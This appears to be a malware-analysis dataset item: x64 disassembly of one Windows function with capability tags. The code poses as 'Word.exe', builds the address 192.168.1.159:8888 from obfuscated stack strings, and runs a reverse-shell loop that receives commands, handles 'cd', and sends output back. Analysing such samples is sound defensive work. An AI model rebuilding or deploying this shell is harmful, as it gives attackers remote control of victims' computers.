Function at 0x140001650
Capabilities:
Connect socket
Contain obfuscated stackstrings
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x800]
sub rsp, 0x900
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0x7f0], rax
lea rax, [rbp + 0x1f0]
mov dword [rsp + 0x28], 0x100
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
lea r8, str.Word.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
xor r13d, r13d
mov dword [rbp + 0x1d8], 0x2e323931
mov ecx, 0x202
mov qword [rbp - 0x68], r13
lea rdx, [rbp + 0x30]
mov byte [rbp + 0x1d4], r13b
mov r14, 0xffffffffffffffff
mov dword [rbp + 0x1dc], 0x2e383631
mov dword [rbp + 0x1e0], 0x35312e31
mov word [rbp + 0x1e4], 0x39
mov dword [rbp + 0x1d0], 0x38383838
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001f7f
nop dword [rax]
xorps xmm0, xmm0
mov qword [rbp], r13
xorps xmm1, xmm1
mov dword [rbp + 8], 1
lea r9, [rbp - 0x68]
mov dword [rbp + 0xc], 6
lea r8, [rbp]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1d8]
movdqu xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x140001f4f
mov rbx, qword [rbp - 0x68]
test rbx, rbx
je 0x1400017c0
nop
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001fb4
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400017bc
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
mov r14, 0xffffffffffffffff
test rbx, rbx
jne 0x140001770
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp r14, 0xffffffffffffffff
je 0x140001f4f
xor r9d, r9d
lea rdx, [rbp + 0x3f0]
mov r8d, 0x400
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140001f46
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
mov r8d, eax
lea rdx, [rbp + 0x3f0]
mov qword [rbp - 0x10], r13
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], r13
movups xmmword [rbp - 0x20], xmm0
call fcn.1400022e0
mov r12, qword [rbp - 8]
lea rbx, [rbp - 0x20]
mov r15, qword [rbp - 0x20]
cmp r12, 0xf
mov rsi, qword [rbp - 0x10]
xorps xmm0, xmm0
cmova rbx, r15
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], recv
movups xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x40], r13b
cmp rsi, 3
jb 0x1400018a1
lea rdi, [rbx + rsi]
mov edx, 0x63
lea r8, [rdi - 2]
mov rcx, rbx
sub r8, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400018a1
cmp word [rax], 0x6463
jne 0x140001885
cmp byte [rax + 2], 0x20
je 0x140001a00
inc rax
lea r8, [rdi - 2]
sub r8, rax
mov rcx, rax
mov edx, 0x63
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140001874
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x78]
call fcn.1400012a0
mov rbx, rax
lea rax, [rbp - 0x40]
cmp rax, rbx
je 0x140001924
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400018f6
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018f1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fc3
call fcn.14000281c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], recv
mov byte [rbp - 0x40], r13b
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], recv
mov byte [rbx], r13b
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140001960
mov rcx, qword [rsp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000195b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fc3
call fcn.14000281c
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__getcwd]
xorps xmm0, xmm0
mov qword [rsp + 0x48], r13
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x50], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x140001983
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.1400022e0
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
cmp rax, 4
jb 0x140001d0a
lea rax, [r8 + 4]
cmp rcx, 0xf
lea rbx, [rsp + 0x38]
mov qword [rsp + 0x48], rax
cmova rbx, qword [rsp + 0x38]
lea rax, [0x140004444]
lea rsi, str._nPS
cmp rax, rbx
jbe 0x140001cc8
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140001cc8
cmp rbx, rsi
ja 0x140001cc0
mov rdi, r13
jmp 0x140001ccd
sub rax, rbx
jne 0x1400018a1
mov qword [rbp - 0x50], r13
xorps xmm0, xmm0
mov qword [rbp - 0x48], r13
movups xmmword [rbp - 0x60], xmm0
cmp rsi, 3
jb 0x140001fd8
lea rax, [rsi - 3]
mov r8, 0xffffffffffffffff
cmp rax, r8
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x60]
cmovb r8, rax
cmp r12, 0xf
cmova rdx, r15
add rdx, 3
call fcn.1400022e0
mov rdx, qword [rbp - 0x48]
lea rdi, [rbp - 0x60]
mov r8, qword [rbp - 0x60]
lea rbx, [rbp - 0x60]
cmp rdx, 0xf
lea rcx, [rbp - 0x60]
cmova rdi, r8
add rdi, qword [rbp - 0x50]
cmp rdx, 0xf
cmova rbx, r8
add rbx, qword [rbp - 0x50]
cmp rdx, 0xf
mov rdx, rbx
cmova rcx, r8
mov r8b, 0xa
call fcn.1400026e0
mov r8, rax
cmp rax, rbx
je 0x140001ab5
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x140001ab5
nop dword [rax]
movzx eax, byte [rcx]
cmp al, 0xa
je 0x140001aad
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140001aa0
cmp qword [rbp - 0x48], 0xf
lea rax, [rbp - 0x60]
mov rbx, qword [rbp - 0x50]
lea rcx, [rbp - 0x60]
cmova rax, qword [rbp - 0x60]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
sub rbx, rdi
add rcx, r9
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
mov rdx, qword [rbp - 0x48]
lea rdi, [rbp - 0x60]
mov r8, qword [rbp - 0x60]
lea rax, [rbp - 0x60]
cmp rdx, 0xf
mov qword [rbp - 0x50], rbx
lea rcx, [rbp - 0x60]
cmova rdi, r8
add rdi, rbx
cmp rdx, 0xf
cmova rax, r8
add rbx, rax
cmp rdx, 0xf
mov rdx, rbx
cmova rcx, r8
mov r8b, 0xd
call fcn.1400026e0
mov r8, rax
cmp rax, rbx
je 0x140001b6a
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x140001b6a
movzx eax, byte [rcx]
cmp al, 0xd
je 0x140001b62
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140001b55
cmp qword [rbp - 0x48], 0xf
lea rax, [rbp - 0x60]
mov rbx, qword [rbp - 0x50]
lea rcx, [rbp - 0x60]
cmova rax, qword [rbp - 0x60]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
sub rbx, rdi
add rcx, r9
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
lea rcx, [rsp + 0x78]
call fcn.140001440
mov rbx, rax
lea rax, [rbp - 0x40]
cmp rax, rbx
je 0x140001c3f
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140001c11
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c0c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fbc
call fcn.14000281c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], recv
mov byte [rbp - 0x40], r13b
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], recv
mov byte [rbx], r13b
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140001c7b
mov rcx, qword [rsp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c76
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fbc
call fcn.14000281c
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140001960
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000195b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000195b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdi, rbx
sub rdi, rsi
jmp 0x140001ccd
mov edi, 4
inc r8
lea rcx, [rbx + 4]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 4
lea rdx, [rsi + 4]
sub r8, rdi
lea rcx, [rbx + rdi]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x38]
jmp 0x140001d22
mov edx, 4
mov qword [rsp + 0x28], 4
lea rcx, [rsp + 0x38]
call fcn.140002570
mov qword [rsp + 0x68], r13
lea rdx, [0x14000443c]
mov qword [rsp + 0x70], r13
lea rcx, [rsp + 0x58]
xorps xmm0, xmm0
mov r8d, 2
movups xmmword [rsp + 0x58], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recv
mov byte [rax], r13b
call fcn.1400020d0
lea rdx, [rsp + 0x78]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
movq rcx, xmm0
mov qword [rax + 0x18], recv
movups xmmword [rsp + 0x78], xmm0
mov byte [rax], r13b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
movups xmmword [rbp - 0x78], xmm1
cmova rdx, rcx
lea rcx, [rbp - 0x40]
call fcn.1400020d0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140001df4
mov rcx, qword [rsp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001def
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fca
call fcn.14000281c
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140001e31
mov rcx, qword [rsp + 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e2c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fca
call fcn.14000281c
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], recv
mov byte [rsp + 0x58], r13b
cmp rdx, 0xf
jbe 0x140001e81
mov rcx, qword [rsp + 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e7c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fca
call fcn.14000281c
cmp qword [rbp - 0x28], 0xf
lea rdx, [rbp - 0x40]
mov r8d, dword [rbp - 0x30]
mov rcx, r14
cmova rdx, qword [rbp - 0x40]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140001eda
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ed5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fd1
call fcn.14000281c
mov rdx, qword [rbp - 8]
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], recv
mov byte [rbp - 0x40], r13b
cmp rdx, 0xf
jbe 0x140001f25
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f20
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fd1
call fcn.14000281c
xor r9d, r9d
lea rdx, [rbp + 0x3f0]
mov r8d, 0x400
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140001800
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 5
call fcn.140002170
mov ecx, 0x202
lea rdx, [rbp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001720
mov eax, 1
mov rcx, qword [rbp + 0x7f0]
xor rcx, rsp
call fcn.1400027c0
lea r11, [rsp + 0x900]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001f7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002150
int3